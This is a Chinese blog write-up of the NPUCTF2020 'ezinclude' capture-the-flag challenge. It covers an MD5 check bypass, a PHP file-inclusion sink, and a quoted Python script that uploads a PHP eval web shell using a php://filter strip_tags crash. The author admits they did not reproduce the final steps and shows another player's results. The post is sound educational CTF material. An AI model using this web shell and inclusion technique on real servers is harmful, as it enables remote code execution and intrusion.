[NPUCTF2020]ezinclude 1

[NPUCTF2020]ezinclude 1

F12查看源码

<!--md5($secret.$name)===$pass -->

然后以为是要搞MD5的新漏洞姿势,看来WP才发现,不是这样的,是相应包里面有MD5加密后的东西

填到PASS参数就好了

BP包回显文件

pass掉MD5后,相应包出现这个文件,访问一下

window.location.href="flflflflag.php";

响应内容

<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
include($_GET["file"])</body>

发现了include函数,可以包含一个file参数,测试了一下伪协议 除了php伪协议其他都被过滤了,e继续看一看大师傅的WP

import requests as res
from io import BytesIO
url="http://e513c6be-1e3d-4493-bfda-0253726b1f07.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd" #phpfile对应的就是上传的文件的内容
phpfile="<?php @eval($_POST['cmd']); ?>"
filedata={
    "file":phpfile
}
bak=res.post(url=url,files=filedata)
print(bak.text)

但脚本显示没访问到,引用下原话

脚本最后会输出BUUCTF容器不存在的页面,但这并不意味着我们操作失败了,按照知识点来说属于是"php崩溃清空堆栈重启",我们脚本中上传的文件还是存在的。

访问dir.php查看我们上传后的文件。

但是我是没找到dir.php是如何发现的。。太菜了

访问dir.php的回显

array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "php131IZi" [3]=> string(9) "php7uu1g8" [4]=> string(9) "phpCm7ZxX" }

大师傅原话和截图,但我没访问出来,这里的结果放的是大师傅的图

rupSuite访问flflflflag.php页面,参数file传对应phpinfo的文件,对响应包搜flag就能找到flag了。

img

得到flag。

大师傅博客原文

https://www.cnblogs.com/Article-kelp/p/14826360.html

posted @ 2023-03-20 16:46  張冰冰  阅读(190)  评论(0编辑  收藏  举报